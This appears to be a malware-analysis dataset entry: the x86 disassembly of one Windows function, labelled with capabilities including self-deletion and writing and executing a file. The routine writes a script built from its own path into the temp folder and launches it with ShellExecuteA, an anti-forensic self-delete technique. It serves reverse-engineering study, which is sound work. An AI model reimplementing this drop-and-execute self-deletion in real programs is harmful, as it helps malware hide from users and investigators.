Function at 0x403124
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
push esi
xor edi, edi
lea eax, [ebp - 0x21f]
push edi
push eax
mov byte [ebp - 0x220], 0
call fcn.004080b0
push esi
lea eax, [ebp - 0x11b]
push edi
push eax
mov byte [ebp - 0x11c], 0
call fcn.004080b0
push esi
lea eax, [ebp - 0x323]
push edi
push eax
mov byte [ebp - 0x324], 0
call fcn.004080b0
mov esi, 0x41506c
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0xd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x24
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push eax
mov ebx, 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x18]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031b0
lea edi, [ebp - 0x220]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4031c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
lea eax, [ebp - 0x11c]
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x324]
push ebx
push eax
call fcn.00405702
lea eax, [ebp - 0x324]
push 0x5c
push eax
call fcn.004051e0
add esp, 0x14
test eax, eax
je 0x403214
mov byte [eax], 0
lea eax, [ebp - 0x220]
push 0x415078
push eax
call fcn.0040582e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40335f
push esi
xor edi, edi
inc edi
push edi
push 9
push 0x41507c
call fcn.00404e54
push esi
push edi
push 5
push 0x415088
call fcn.00404e54
lea eax, [ebp - 0x11c]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40325c
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00404e54
push esi
push edi
push 2
mov ebx, 0x415090
push ebx
call fcn.00404e54
push esi
push edi
push 0xa
push 0x415094
call fcn.00404e54
lea eax, [ebp - 0x11c]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40329d
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00404e54
push esi
push edi
push 0xf
push 0x4150a0
call fcn.00404e54
push esi
push edi
push 7
push 0x4150b0
call fcn.00404e54
lea eax, [ebp - 0x324]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4032dd
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x324]
push eax
call fcn.00404e54
push esi
push edi
push 3
push ebx
call fcn.00404e54
push esi
push edi
push 5
push 0x415088
call fcn.00404e54
lea eax, [ebp - 0x220]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403319
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00404e54
push esi
push edi
push edi
push 0x4150b8
call fcn.00404e54
push esi
call fcn.00404c76
add esp, 0x24
xor eax, eax
push eax
push eax
push eax
lea ecx, [ebp - 0x220]
push ecx
push 0x4150bc
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040458e
leave
ret